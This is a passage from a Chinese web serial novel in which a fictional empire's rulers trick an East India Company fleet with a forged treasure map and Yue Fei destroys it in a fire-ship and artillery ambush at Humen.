让慕容嫣和岳飞,再一次,听得是,目瞪口呆,头皮发麻! 他们看着眼前这个,正一脸坏笑的男人。 只觉得,他简直就不是人! 他就是一个,从地狱里爬出来的专门玩弄人心的绝世魔鬼! 用一张,不知真假的藏宝图去引诱一支,庞大的无敌舰队,乖乖地走进为他们量身打造的死亡陷阱! 这……这简直是闻所未闻,见所未见的神仙操作啊! “高!实在是高!”岳飞的心中,对这位摄政王殿下,已经佩服得,五体投地。 他原本以为,自己的那个火攻之计,就已经够阴险,够毒辣了。 可现在跟王爷这一招,“空手套白狼”的阳谋比起来。 简直就是,小巫见大巫,不值一提! 慕容嫣也是美眸之中,异彩连连。 她发现自己真是越来越爱,自己这个总是能给她带来无限惊喜的,妖孽夫君了。 她走上前,主动地在他的脸颊上亲了一口。 “夫君,你真是太坏了。” 她嘴上虽然这么说,但那眼底却全是藏不住的崇拜和爱意。 此刻的她,穿着神凤降世裙。 那极致玄黑的苏锦底料,因为她那激动的心情而泛着一层,如同黑曜石般坚硬而又闪亮的光泽。 那只用真金线绣成的擎天巨凤,更是仿佛,在为它主人这即将上演的,惊天骗局而欢欣鼓舞! 凤目之中迸发出了,前所未有的充满了狡黠和智慧的璀璨金芒! 那长达五丈的墨金色苏锦拖尾,从她的脚下恣意地铺陈开来,仿佛一张由谎言和阴谋,共同编织而成的巨大的天罗地网! 正静静地等待着,那些愚蠢的,贪婪的猎物,自己一头撞上来。 “好了,此事,就这么定了。”林臻一锤定音。 “岳飞!” “末将在!” “你即刻,以八百里加急,返回广州!” “将我们刚才商议的计划,原原本本地,告知广州总督!” “让他全力配合你布置虎门的埋伏!” “火船,火炮,兵力,钱粮!要什么给什么!绝不能,有任何的,耽搁和差池!” “末将,遵命!”岳飞领命,眼中,燃起了,熊熊的战火! 他知道,一场足以载入史册的史诗级海战,即将在他的手中拉开序幕! 而他将有幸亲眼见证,这对传奇帝后是如何用最匪夷所思的手段。 将那支不可一世的西方无敌舰队,彻底地埋葬在东方的烈火地狱之中! 岳飞领了这道堪称是惊天动地的军令,整个人都还处在一种极度亢奋的状态,他感觉自己的血液都在燃烧。 火烧虎门,炮轰舰队,再加上王爷那神来之笔的“藏宝图”诱敌之计! 这三者结合在一起,简直就是一套天衣无缝的连环杀招! 他几乎已经可以预见到,那支不可一世的东印度公司舰队,在他们君臣的联手算计之下,是如何一步步地走进死亡的深渊,最终被烧成一片白地的凄惨下场。 “王爷,陛下!”岳飞再次单膝跪地,声音因为激动而微微颤抖,“末将此去广州,必定不负二位所托!定将那帮胆敢犯我大乾天威的西夷蛮子,杀个片甲不留!” “好。”林臻看着他那副战意盎然的样子,也是满意地点了点头,“本王等你的好消息。” 他知道,自己没有看错人。 岳飞,这个历史上本该是悲剧收场的千古名将,在自己这个异世之魂的干预之下,终于有了能让他尽情施展才华的舞台。 他相信,有岳飞在南边坐镇,再加上自己这“无懈可击”的计策,此战,必胜! “去吧。”林臻摆了摆手,“记住,到了广州,一切以你的判断为准。广州总督那边,若有不从,或是有任何延误军机之举,你可持本王金牌,先斩后奏!” “末将……遵命!”岳飞闻言,心中又是一阵剧烈的震动。 先斩后奏! 这是何等的信任!何等的器重! 他知道,从这一刻起,自己这条命,就彻彻底底地卖给眼前这对,视他为国士的传奇帝后了。 士为知己者死! 他岳飞,愿为陛下和王爷,肝脑涂地,万死不辞! 第1196章 凡犯我大乾天威者,虽远必诛 没有再多说什么废话,岳飞重重地磕了一个响头,然后便毅然决然地转过身,大步流星地离开了工坊。 他要以最快的速度,赶往广州! 他要亲手,为那支即将到来的西方无敌舰队,准备一场,史无前例的,烈火盛宴! 看着岳飞那充满了杀伐之气的离去背影,慕容嫣那颗因为即将到来的大战而有些紧张的心,也稍稍安定了下来。 她走到林臻的身边,依偎进他的怀里,声音里带着一丝感慨:“夫君,你说,我们是不是太坏了?” “用一张假的藏宝图,去坑杀人家两万多人的大军。这要是传出去,恐怕全天下的人都得骂我们是阴险狡诈的魔鬼吧?” “魔鬼?”林臻闻言,却是发出了一声不屑的冷笑,“嫣儿,你可别忘了,他们是什么人。” “他们是强盗!是侵略者!” “他们不远万里地跑到我们的家门口,烧杀抢掠,无恶不作!难道我们还要跟他们讲什么仁义道德吗?” “对付强盗,就要用比他们更狠,更毒的手段!” “我们不仅要,把他们的人全都留下来!我们还要,把他们的船,他们的炮,他们所有的一切,全都变成我们大乾的战利品!” “我们要用他们的鲜血和尸骨,来向全世界宣告!” “凡犯我大乾天威者,虽远必诛!” 林臻的这番话,充满了冰冷的,不容置疑的霸道和杀意。 慕容嫣静静地听着,那双美丽的凤眸之中,那最后一丝的妇人之仁,也彻底烟消云散。 她知道,夫君说得对。 这不是请客吃饭,这是你死我活的战争。 对敌人的仁慈,就是对自己的残忍。 “好。”她抬起头,主动地,在他的唇上,印下了一个,冰冷而又决绝的吻。 “就让我们夫妻二人,联起手来。” “好好地,给那帮不知天高地厚的西夷蛮子,上一堂,他们永生难忘的,东方历史课!” …… 计划已定,整个大乾帝国,这部庞大的战争机器,便开始以一种惊人的效率,高速运转起来。 岳飞星夜兼程,快马加鞭,仅仅用了七天的时间,便从长安赶到了数千里之外的广州。 他一到广州,便立刻接管了整个广东和福建两地的,所有军事指挥权。 然后,他便按照之前和林臻、慕容嫣商议好的计划,开始了紧锣密鼓的战前部署。 一方面,他命令广州和福建两地的水师,所有战船,全部退守内港,不得出战。同时,他又下令,将广州城内所有值钱的物资,和大部分的百姓,全都紧急疏散到了后方的安全地带。 这“坚壁清野”的命令一下,整个广州城都陷入了一片恐慌之中。 许多不明真相的百姓和商人,都以为是朝廷要放弃广州了,一个个都哭天抢地,人心惶惶。 而另一方面,岳飞又秘密地调集了数万名工匠和民夫,在虎门水道的两岸,开始了热火朝天的秘密工程。 他们开山凿石,修建炮台,埋设火炮。 他们又征集了上千艘民用的小渔船,将其改造成了装满了火油和硫磺的火攻船。 整个虎门水道,在短短的几天之内,便被他打造成了一个,密不透风的,死亡陷阱。 只等着,那支不可一世的东印度公司舰队,自己一头撞进来。 与此同时,在长安。 慕容嫣也同样没有闲着。 她以雷霆之势,在全国范围内,掀起了一场声势浩大的“反间谍”风暴。 所有与西方商人有过来往的商铺和洋行,全部被查封。 所有金发碧眼的西夷人,不管你是商人,是传教士,还是游客,一体下狱,严加审问! 锦衣卫和“夜枭”的死士,如同黑夜中的幽灵,遍布长安城的每一个角落。 任何一个,敢在这个节骨眼上散播谣言,扰乱民心的人,都会在第一时间被他们从人间“蒸发”。 在慕容嫣这种,近乎于高压的铁腕统治之下,整个大乾的内部,非但没有因为这场突如其来的战争而陷入混乱。 反而爆发出了一种前所未有的,同仇敌忾的凝聚力! 而林臻则是在工坊里,继续他那“悠闲”的养伤生活。 他现在每天的任务,就是陪着自己那位,越来越嗜睡,也越来越黏人的,小娇妻。 给她讲讲故事,念念诗。 或者是陪她一起讨论一下,他们那还未出世的孩儿,到底该取个什么名字。 日子过得平淡,却又充满了无法用言语来形容的幸福。 只是,他知道,这种平静的日子,不会太长久了。 因为,那张他亲手放出去的“藏宝图”,已经开始发酵了。 ...... 广州港外,蔚蓝色的海面之上。 一支由五十余艘,各类型战船组成的,庞大的舰队,正如同乌云一般,静静地停泊在那里。 舰队的最中央,是一艘体型巨大得,如同海上巨兽一般的,三层甲板的超级风帆战列舰。 这艘战舰,名为“征服者号”。 乃是东印度公司,旗下最强大,也是最先进的旗舰。 船身全长,超过两百英尺,排水量高达三千吨。 船身两侧,装备了整整一百二十门最新式的二十四磅加农炮。 其火力的密集程度和单发炮弹的威力,足以在瞬间,将任何一艘,同时代的木制战舰,轰成一堆,漂浮在海面上的,燃烧的碎片! 此刻,在“征服者号”那无比奢华的船长室里。 一个身材高大,满脸络腮胡,穿着一身华丽的东印度公司海军准将制服的独眼男人,正一脸阴沉地,看着桌上那副,广州港的海图。 他,便是这次东印度公司远征舰队的最高统帅,也是伊丽莎白口中那个,被称为“海上屠夫”的男人。 ——巴博萨。 “将军,”站在他身边的一名年轻副官,看着他那阴沉的脸色,小心翼翼地问道,“我们已经在这里,停泊了整整三天了。” “那些懦弱的东方人,除了像缩头乌龟一样,躲在港口里,不敢出来之外,就没有任何的动静。” “我们……我们接下来,该怎么办?总不能,就这么一直,跟他们耗下去吧?” “耗下去?” 第1197章 巴博萨还是很聪明的 巴博萨闻言,发出一声,不屑的冷笑。 他抬起那只,只剩下独眼的,狰狞的脸,看了一眼不远处,那座看起来,安静得有些诡异的,广州城。 “你以为我不知道他们在打什么主意吗?” “坚壁清野,以逸待劳。” “想用这种小孩子的把戏来拖垮我们?” “真是,天真得可笑!” 那名年轻副官,听得一头雾水:“将军,您的意思是……” “哼。”巴博萨冷哼一声,那只独眼之中,闪烁着,如同饿狼一般的,贪婪和残忍的光芒。 “你真以为,我们这次不远万里地跑来东方,只是为了,跟这个什么狗屁的大乾帝国,打一仗那么简单吗?” “战争,从来都只是手段。” “财富,才是我们最终的目的!” “我早就已经在我们来之前,就花重金,在他们的朝堂和军队里收买和安插了我们的人。” “根据我们的人,刚刚传回来的最新情报。” 他一边说着,一边从怀中,掏出了一封,用特殊方式加密过的密信,扔在了桌上。 “那个,一直跟我们作对的海盗女王,伊丽莎白·斯旺,就在这座广州城里!” “而且,她的手上,还拿着一张,我们找了很久很久的东西!” “什么东西?”年轻副官,好奇地问道。 “一张,可以通往‘世界尽头’的,传说中的藏宝图!”巴博萨的独眼之中,瞬间迸发出了,骇人的,炽热的贪婪光芒! “据说那张图上记载着三艘,由海神波塞冬亲手打造的,无敌神舰的下落!” “飞翔的荷兰人号!安妮女王复仇号!还有,沉默玛丽号!” “任何一艘,都拥有着,足以称霸整个海洋的,毁天灭地的力量!” “只要我们能得到它!” “别说是区区一个东方帝国了!就算是整个世界,都将匍匐在我们的脚下!” 巴博萨越说越激动,整个人都陷入了一种,近乎病态的疯狂之中。 那名年轻副官,听得也是,目瞪口呆,心潮澎湃! 无敌神舰? 称霸世界? 这……这简直比传说中的神话故事还要更加的不可思议! “将……将军……”他的声音都在发抖,“那……那我们还等什么?我们现在就……” “急什么?”巴博萨却是,摆了摆手,那张狰狞的脸上,露出了一丝,老谋深算的狡诈笑容。 “我们现在,还不能确定,那个消息的真假。” “而且就算那张图真的在伊丽莎白那个贱人的手里。” “她也一定会把它藏在一个,我们绝对想不到的,最安全的地方。” “我们若是,就这么贸然地冲进去。” “非但找不到那张图。” “反而还可能会中了他们东方人,那最擅长的什么狗屁‘三十六计’。” “那……那我们该怎么办?”年轻副官,彻底没主意了。 “等。”巴博萨的独眼微微眯起,闪烁着如同毒蛇一般的冰冷光芒。 “我们只需要再等一个,最合适的时机。” “一个能让我们以最小的代价,换取最大的利益的最佳时机。” “而这个时机很快就要来了。” 他一边说着,一边将目光投向了不远处,那条如同巨龙一般,蜿蜒入海的,珠江的入海口。 和那座如同鬼门关一般,扼守着整个入海口的,险峻的虎门要塞。 他那张狰狞的脸上缓缓地,勾起了一抹充满了自信和残忍的冷笑。 他仿佛已经看到,自己率领着无敌舰队,踏平这座东方古城,将那张传说中的藏宝图,和那个美艳绝伦的东方女皇,一同收入囊中的辉煌景象。 然而他做梦也想不到。 他自以为天衣无缝的,完美的计划。 其实从一开始就落入了一个比他还要更加狡猾,更加阴险的,东方魔鬼的算计之中。 他更想不到的是。 他心心念念的那张所谓的“藏宝图”。 其实早就在三天前,就已经被林臻用一种,最“不经意”的方式“泄露”给了他安插在广州城内的,那个最重要的“内应”的手里。 而那个“内应”,也早已在第一时间,将这张“价值连城”的“藏宝图”,用最快的速度送到了他的面前。 一场由林臻和慕容嫣亲手导演的,针对整个东印度公司舰队的惊天骗局。 已经悄然拉开了它,最后血腥的大幕。 那张所谓的藏宝图,现在就静静地躺在巴博萨的桌子上,羊皮纸的边缘已经泛黄,上面的线条和符号,都透着一股古老而又神秘的气息,仿佛真的承载着能改变世界的力量。 巴博萨的手,轻轻地抚摸着那张图,独眼之中,是再也无法抑制的狂热。 他哪里知道,这张图,不过是林臻让工部的顶级画师,花了不到半个时辰,就伪造出来的赝品。 上面的那些所谓古老的符号,也只是林臻随手画的一些,他自己都看不懂的鬼画符。 可就是这样一张,漏洞百出的假图。 却成功地,勾起了巴博萨心中,那最原始,也最无法抑制的,贪婪。 他,上钩了。 “将军!将军!天大的好消息!” 就在巴博萨,对着那张假的藏宝图,想入非非的时候。 船长室的大门,突然被人,从外面,猛地撞开了。 一名负责情报的军官,一脸狂喜地,连滚带爬地冲了进来。 “什么事?如此慌慌张张,成何体统?!”巴博萨被人打断了美梦,心中很是不快,独眼一瞪,怒声喝道。 那名军官被他那骇人的气势,吓得浑身一哆嗦,但脸上的狂喜,却是怎么也掩饰不住。 “将……将军!”他激动得,有些语无伦次,“刚……刚才,我们抓到了一个,从广州城里,逃出来的舌头!” “据他说,那个东方女皇,和她的那个什么狗屁摄政王,因为害怕我们天兵天将,竟然……竟然连夜,从广州城跑路了!” “什么?!”巴博SA闻言,猛地从椅子上站了起来,独眼之中,全是难以置信的震惊! “跑了?他们竟然跑了?!” “是的,将军!”那名军官,肯定地点了点头,“千真万确!据说,他们走的时候,还带走了城里所有的守军,和大部分的金银财宝!” “现在整个广州城就是一座不设防的空城!” 第1198章 巴博萨懵了 “哈哈……哈哈哈哈!”巴博萨在短暂的震惊之后爆发出了一阵状若疯癫的,震天狂笑! “跑了?他们竟然真的跑了?!” “我还以为,他们东方人,有多大的骨气呢!” “原来,也不过是一群,贪生怕死的懦夫!” “天助我也!真是天助我也啊!” 他兴奋得,在船长室里来回地踱着步,那张狰狞的脸上,全是无法抑制的狂喜和得意。 东方帝后跑路了! 广州城成了一座不设防的空城! 而那张传说中的藏宝图十有八九,就还藏在,这座空城里的,某个角落! 这……这简直就是,海神波塞冬,送给他巴博萨的,一份天大的礼物啊! “传我的令!”他再也按捺不住自己那颗,早已被贪婪和野心,彻底填满的心,对着那名年轻副官,怒声吼道! “全舰队,立刻起锚!” “目标,广州城!” “我要在天黑之前,将我们东印度公司的旗帜,插在那座东方古城的,城头之上!” “将军,三思啊!”那名年轻的副官,虽然也同样兴奋,但终究还是保留了一丝理智。 他指着桌上的海图,有些担忧地提醒道:“将军,我们想要进入广州港,就必须,先通过那条,名为‘虎门’的狭窄水道。” “此地地势险要,水流湍急,两岸更是礁石林立,暗流遍布。” “若是那些东方人,在这里设下埋伏……” “埋伏?”巴博萨闻言,却是发出一声,更加不屑的冷笑。 “就凭他们那些,连近海都出不去的,小舢板?” “还是凭他们那些,射程还不到一百步的,破铜炮?” “在我的‘征服者号’,和我们这支天下无敌的舰队面前!” “任何的阴谋诡计都只是一个可笑的笑话!” “我就是要从这虎门水道,堂堂正正地开进去!” “我就是要让那些,躲在暗处偷看的东方懦夫们,亲眼看着!” “我们是如何用,他们根本无法理解的,绝对的力量,碾碎他们那可怜的自尊和幻想!” “我就是要让他们知道!” “在这片大海上,谁才是真正的主人!” 巴博萨的这番话,充满了无与伦比的霸道和自信! 那名年轻的副官被他那股君临天下般的强大气场所感染,心中那最后一丝的担忧也烟消云散。 是啊! 他们可是纵横四海,所向披靡的,东印度公司无敌舰队! 他们拥有着这个世界上最坚固的战船! 最先进的火炮! 和最勇敢的士兵! 区区一个闭关锁国的东方古国,又岂会是他们的对手? “将军英明!”他发自肺腑地躬身行礼。 然后便转身,冲出了船长室。 很快。 一阵阵急促而又嘹亮的号角声,便响彻了整个海面。 东印度公司的无敌舰队,那五十余艘,如同海上巨兽一般的庞大战船,开始缓缓地升起了那巨大的船帆。 然后在无数西方士兵那充满了贪婪和嗜血的欢呼声中。 浩浩荡荡地向着那个,在他们眼中充满了黄金和美女的东方天堂。 也是为他们量身打造的死亡地狱。 ——虎门,进发! …… 虎门水道,两岸的山崖之上。 岳飞正举着一具,由林臻亲手打造的高倍单筒望远镜,面无表情地看着那支正如同长蛇一般,缓缓驶入狭窄水道的,庞大的西方舰队。 他的身后是数以万计的,早已埋伏多时的大乾将士。 有神机营的火炮手。 有手持火船锁链的敢死队。 还有无数张满了弓,搭上了火箭的弓箭手。 所有人都屏住了呼吸。 整个山崖之上,安静得落针可闻。 只有那充满了肃杀之气的,冰冷的海风在猎猎作响。 气氛压抑到了极点。 所有人的目光,都聚焦在他们那位如同山岳一般,沉稳不动的主帅身上。 他们在等。 等他们的主帅,下达最后的攻击命令! “将军,”站在岳飞身边的一名副将,看着那越来越近的敌方舰队,声音里带着一丝无法抑制的紧张和兴奋,“他们……他们进来了!” “再等等。”岳飞的声音,依旧是那么的平稳,不带一丝一毫的感情。 他的目光,如同鹰隼一般死死地锁定着,敌方舰队最中央的那艘巨大无比的旗舰。 他在等。 等一个最佳的,动手的时机。 一个能将敌方舰队,彻底拦腰斩断,首尾不能相顾的绝佳位置! 终于! 当“征服者号”那庞大的船身,完全驶入虎门水道最狭窄的,也是水流最湍急的,那段“鬼门关”时。 岳飞那双,一直古井不波的虎目之中,瞬间迸发出了骇人的冰冷的滔天杀意! 他猛地,放下了手中的望远镜。 然后从身边的亲卫手中,接过了一面早已准备好的红色令旗! 他深吸一口气。 用尽全身的力气,将那面代表着死亡和毁灭的令旗,狠狠地向前一挥! 同时他发出了一声,来自于胸腔深处的,如同九天惊雷一般的震天怒吼! “点火!” “放船!” “开炮!!!” “轰——轰——轰——” 随着岳飞那一声,充满了无尽杀伐之意的怒吼! 早已在虎门水道上游,准备多时的,数百艘装满了火油和硫磺的小型火船,在同一时间,被点燃了! 熊熊的烈火,瞬间冲天而起! 将整个原本还算平静的江面都映照成了一片刺眼的血红! 紧接着。 那数百艘如同来自地狱的,燃烧的幽灵船。 便在湍急的水流,和早已埋设好的铁索的牵引下。 如同一群闻到了血腥味的食人鱼群。 以一种悍不畏死的疯狂姿态。 狠狠地撞向了那支,还在狭窄水道里,艰难航行的,东印度公司的无敌舰队! “轰隆隆——” 一声声惊天动地的,剧烈爆炸声,骤然响起! 一艘艘原本还威风凛凛的西方战船,在这些,专门为它们量身打造的,“自杀式炸弹”的,猛烈撞击之下。 瞬间便被炸得四分五裂,木屑横飞! 熊熊的烈火,如同附骨之疽一般,迅速地,蔓延到了,它们的船身,船帆,和甲板之上! 整个虎门水道,在这一瞬间,仿佛变成了一个,巨大无比的,燃烧的炼狱! 无数的西方士兵,甚至还没来得及反应过来,到底发生了什么。 便被那迎面而来的,炽热的爆炸气浪给直接掀飞了出去! 第1199章 这不符合认知条件啊! 侥幸没被炸死的,也都在那铺天盖地的熊熊烈火之中,发出了一声声不似人声的凄厉惨嚎! 然后变成了一个个在甲板上,疯狂翻滚挣扎的活生生的火人! 整个场面惨烈到了极点! 血腥到了极点! 也震撼到了极点! “征服者号”的船长室里。 巴博萨那张原本还充满了得意和狂喜的狰狞脸庞,在看到窗外那如同末日降临一般的恐怖景象时。 瞬间便凝固了。 他那只仅剩的独眼瞪得比铜铃还大! 嘴巴也张得足以塞下一个完整的鸡蛋! 他呆呆地看着窗外那片,早已被烈火和浓烟所彻底吞噬的人间地狱。 脑子里一片空白。 火……火攻? 这些懦弱的卑鄙的东方人! 他们……他们竟然敢用火攻?! 他们怎么敢?! “将……将军!”那名年轻的副官,早已是吓得面如土灰魂不附体! 他指着窗外那越来越近的,如同死亡之吻一般的熊熊火海,声音里充满了无法掩饰的绝望和恐惧! “我们……我们被包围了!我们中埋伏了!” “闭嘴!”巴博萨被他那惊慌失措的尖叫声,给惊醒了过来! 他猛地转过头,独眼之中全是因为极度的愤怒和屈辱而变得血红的疯狂杀意! 他一把揪住那名副官的衣领,将他狠狠地按在了墙上! “慌什么?!”他用一种如同受伤野兽一般的嘶哑声音怒吼道! “不就是一点小小的火攻吗?!” “就凭这些上不了台面的,小孩子的把戏,就像打败我巴博萨?!” “打败我们天下无敌的东印度公司舰队?!” “做梦!” 他一把推开那名早已吓傻了的副官。 然后猛地抽出腰间那柄象征着他海军准将身份的华丽指挥刀! “传我的令!”他用刀指着窗外那片熊熊燃烧的火海,声音之中充满了不容置疑的疯狂和决绝! “所有战船!不准后退!给我就地转向!用我们最猛烈的炮火!” “给我将那些该死的东方人的火船!” “给我将他们两岸山崖上的所有炮台!” “全都给我轰成一片齑粉!!!” “我倒要看看!” “是他们的火厉害!” “还是我们‘征服者号’的炮更硬!!!” 然而。 就在巴博萨还想凭着自己那所谓的船坚炮利,做最后的困兽之斗时。 一个比那漫天火海还要更加恐怖,更加让他绝望的声音。 却突然从虎门水道的两岸山崖之上,响了起来! “轰——轰隆隆——” 那是一种比之前火船爆炸的声音,还要更加沉闷,更加巨大,更加令人心悸的恐怖轰鸣! 那声音仿佛是来自于九天之上的滚滚天雷! 又仿佛是来自于九幽地狱的魔神咆哮! 紧接着。 在所有东印度公司士兵,那充满了惊骇和绝望的目光注视下。 数以百计的拖着长长的赤红色尾焰的巨大铁球! 便如同一场来自于死神的钢铁流星雨! 以一种根本无法用任何语言来形容的,恐怖速度,和毁灭力量! 铺天盖地地向着他们那,早已被火海困得进退两难的庞大舰队砸了过来! 神机营! 开炮了! “不——” 巴博萨看着那如同末日审判一般从天而降的恐怖炮雨! 那双仅剩的独眼之中终于露出了一抹发自灵魂深处的深深的绝望! 他想不明白! 他真的想不明白! 为什么?! 为什么这些在他眼中如同土著一般落后的东方人。 竟然也会拥有如此恐怖的如此先进的火炮?! 而且他们的火炮无论是射程威力还是精准度。 竟然都远在他们引以为傲的英吉利最新式的二十四磅加农炮之上?! 这……这不合常理! 这不符合他对这个世界的所有认知! 除非…… 除非这个东方帝国根本就不是他想象中的那个闭关锁国的落后古国! 而是一个比他们东印度公司还要更加强大,更加可怕的超级战争机器! 他错了。 他从一开始就彻彻底底地错了。 他不该因为贪婪而轻易地踏上这片,充满了未知的神秘土地。 他更不该因为傲慢,而小看了这片土地上那群看似懦弱,实则比魔鬼还要狡猾和残忍的东方人! 然而。 现在后悔已经来不及了。 “轰——” 一声比之前任何一次都更加惊天动地的剧烈爆炸声骤然响起! 一发来自于神机营的一百二十毫米口径的开花弹! 精准无比地命中了“征服者号”那储存着大量黑火药的弹药库! 一瞬间! 这艘东印度公司引以为傲的海上巨兽! 便如同一个被瞬间点燃的巨大烟花! 在一声足以让天地都为之失色的恐怖巨响之中! 被炸得四分五裂灰飞烟灭! 而巴博萨这位曾经纵横四海不可一世的“海上屠夫”。 也和他那称霸世界的黄粱美梦一起。 在那冲天而起的蘑菇云般的烈火和浓烟之中。 被炸得尸骨无存神形俱灭。 连一声最后的惨叫都没来得及发出。 旗舰“征服者号”的毁灭,如同一记最沉重的铁锤,狠狠地砸在了所有东印度公司士兵的心上,彻底敲碎了他们那早已摇摇欲坠的最后一点抵抗意志。 他们崩溃了。 看着那艘曾经代表着无敌和荣耀的旗舰,在眼前化为一团冲天的火球。 看着他们那位如同神明般强大的将军,连同他那称霸世界的野心一起,被炸得尸骨无存。 这些平日里凶神恶煞、在海上横行无忌的西方强盗们,终于体会到了什么叫做真正的恐惧。 他们一个个丢盔弃甲,哭爹喊娘,再也没有了半分之前的嚣张和狂妄。 有的试图跳海逃生,却在跳下去的瞬间,就被那滚烫的江水和燃烧的浮木,变成了一具焦黑的尸体。 有的则绝望地跪在甲板上,向上帝,向圣母玛利亚,向上他们所有能想到的神明,做着最后的,徒劳的忏悔和祈祷。 但更多的,则是在那铺天盖地的炮火和烈焰之中,被无情地撕成碎片,化为灰烬。 整个虎门水道,在这一刻真正变成了修罗地狱。 江水被鲜血和火焰,染成了诡异的黑红色。 第1200章 未来一百年不愁肉吃 空气中弥漫着一股令人作呕的血腥味,硝烟味,和那皮肉被烧焦的焦臭味。 无数的残肢断臂和破碎的船板,随着湍急的江流,起起伏伏。 那场面,足以让任何一个心智正常的人当场发疯。 山崖之上。 岳飞面无表情地,看着眼前这由他亲手导演的人间惨剧。 那双古井不波的虎目之中,没有一丝一毫的,怜悯和不忍。 只有冰冷的,如同机器一般的绝对冷静。 因为他知道,对敌人的仁慈,就是对自己的残忍。 今天他若是不将这支,敢于挑衅大乾天威的侵略者彻底地,干净地,从这个世界上抹去。 那么明天就会有更多,更强大的侵略者,蜂拥而至! 到那时今天这虎门水道里所发生的一切,就会在他们大乾的,每一寸土地上,重新上演! 所以,他不能停。 他的炮火,也绝不能停! “传我的令!”他的声音,冰冷而又决绝,不带一丝一毫的感情,“所有炮台,自由射击!” “不必节约弹药!” “给我将江面上,所有还能动的,喘气的,全都给我,轰成渣滓!” “我要让这珠江的鱼,在未来的一百年里,都不愁没有肉吃!” “是!” 随着岳飞那一声,充满了无尽杀伐之意的命令! 虎门两岸那,数以百计的神机营火炮,再一次发出了震耳欲聋的死亡咆哮! 新一轮的,更加密集,更加疯狂的,钢铁弹雨,铺天盖地地倾泻而下! 将那片本就已经化为火海的江面,变成了一个真正意义上的,死亡禁区! 这场惨无人道的,单方面的屠杀,一直持续了整整一个时辰。 直到江面上,再也看不到一艘完整的敌舰。 再也听不到一声,来自于敌人的惨叫和哀嚎。 岳飞才缓缓地,举起了自己那早已被硝烟熏得漆黑的右手。 “停火。” 他淡淡地说出了两个字。 那震耳欲聋的炮火声,戛然而止。 整个世界,仿佛都在这一瞬间,安静了下来。 只剩下那熊熊燃烧的,烈火的噼啪声。 和那无数冤魂在江面上空无声的呜咽。 一场,足以载入世界海战史册的,史诗级的大捷。 一场,以少胜多,以弱胜强的,教科书般的经典伏击战。 ——虎门海战。 就这么在岳飞那近乎于冷酷的,铁血指挥之下落下了它,血腥的帷幕。 东印度公司远征舰队五十余艘,各类型战船,全军覆没! 两万余名,精锐士兵,无一生还! 而大乾方面,除了在前期被偷袭损失了,几艘巡逻船和数百名水师官兵之外。 几乎是零伤亡! 这是一场,彻头彻尾的完胜! 一场足以让整个世界都为之颤抖的辉煌大捷! 当这个足以让任何一个大乾人都为之疯狂的,天大喜讯,以八百里加急的速度,传回长安时。 整个帝都,瞬间便沸腾了! 所有的百姓都自发地涌上了街头! 他们敲锣打鼓,燃放鞭炮,载歌载舞! 那欢庆的场面,比之上次迎接陛下和王爷的大婚,还要更加的热烈,更加的疯狂! “赢了!我们赢了!” “岳将军威武!神机营威武!大乾威武!” “哈哈哈!让那帮西夷蛮子,也尝尝我们大乾的厉害!” “看他们以后,还敢不敢,再来我们的家门口撒野!” 整个长安城,都沉浸在了一片巨大的,难以言喻的,民族自豪感和狂喜之中! 而皇宫的太极殿内。 气氛也同样是热烈到了极点。 当慕容嫣当着满朝文武的面,将岳飞那封,写满了辉煌战果的捷报,高声宣读出来时。 所有官员,都像是打了鸡血一样,激动得满脸通红,手舞足蹈! “陛下圣明!王爷神武!” “此战,乃我大乾开国以来,从未有过的,旷世大捷啊!” “经此一役,我大乾天威,必将远播四海!万邦来朝!指日可待!” 户部尚书周兴,更是激动得,抱着身边的工部尚书李格,又哭又笑。 “老李啊!你听到了吗?我们赢了!我们赢了啊!” “我们那些,用金山银山,堆出来的火炮,没白造啊!” “哈哈哈!值!太他娘的值了!” 李格也是老泪纵横,连连点头。 他们这些为了大乾的崛起,而呕心沥血,殚精竭虑的老臣们。 在这一刻所有的付出,所有的辛苦,都得到了最完美也最辉煌的回报! 慕容嫣看着殿下那一张张,因为激动和狂喜,而显得有些失态的脸。 那张因为林臻的昏迷,而一直冰冷紧绷的俏脸之上,也终于露出了一丝发自内心的欣慰的笑容。 她知道这一战的胜利,意义远非一场单纯的军事胜利那么简单。 它彻底地打掉了,西方殖民者那嚣张的气焰。 它也彻底地,打出了他们大乾民族的自信和血性! 从今天起,这个沉睡了数千年的东方雄狮,将在这场来自于海上的烈火与炮火的洗礼之中。 彻底地觉醒! 然后以一种让整个世界都为之颤抖的崭新姿态。 重新屹立于世界民族之林! 此刻的她,依旧穿着那身,作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在太极殿那,充满了胜利喜悦的氛围之中,仿佛变成了一片,可以包容整个天下的浩瀚星空。 那只用真金线绣成的擎天巨凤,更是仿佛要从那片星空之中展翅高飞,直冲九霄! 凤目之中迸发出了前所未有的充满了骄傲与辉煌的万丈金光! 那长达五丈的墨金色苏锦拖尾,从高高的凤椅之后,一直铺陈到御阶之下,仿佛一条,由胜利和荣耀,共同铺就的通往世界之巅的康庄大道! 那华贵的凌乱,在这一刻不再是慵懒,而是一种君临天下,睥睨四海的无上霸气! 然而就在这君臣同乐,举国欢庆的辉煌时刻。 一个谁也想不到的惊天噩耗。 却突然从遥远的西域传了回来。 “报——” 就在太极殿内还沉浸在一片胜利的狂欢之中时。 一声充满了惊慌和恐惧的凄厉嘶吼,却突然从殿外传了进来! 第1201章 西域再起战火 那声音仿佛是一盆零下三十度的冰水,兜头盖脸地浇在了所有人的心上。 瞬间便浇灭了那所有的喜悦和狂热。 整个太极殿再一次陷入了死一般的寂静。 所有人的目光都齐刷刷地投向了殿门的方向。 只见一名身穿西域边军服饰,满身都是血污和伤痕的年轻信使,正连滚带爬地从殿外冲了进来! 他的脸上写满了无法用言语来形容的绝望和恐惧! 他一进殿便“噗通”一声跪倒在地,甚至都来不及行那最基本的君臣之礼。 便用一种近乎于哭嚎的沙哑声音嘶吼道! “陛……陛下!不好了!” “西域……西域出大事了!” 西域?! 听到这两个字慕容嫣的心猛地一沉! 一股极其不祥的预感瞬间涌上了她的心头! 西域那里可是拜占庭帝国使者马可·波罗,和他们大乾神机营远征军约定的最终汇合地点! 难道…… “快说!到底发生了什么事?!”慕容嫣的声音瞬间变得冰冷,而又充满了不容置疑的威严! “是……是奥斯曼土耳其!”那名信使喘着粗气,声音里充满了无法掩饰的颤抖和恐惧! “他们的……他们的二十万大军不知何时,竟然已经悄无声息地越过了昆仑山!” “就在三日前他们……他们突然对我们驻守在西域的安西都护府,发动了疯狂的进攻!” “安西都护府猝不及防,一夜之间便……便全线崩溃!” “都护府大将军郭子仪,身负重伤下落不明!” 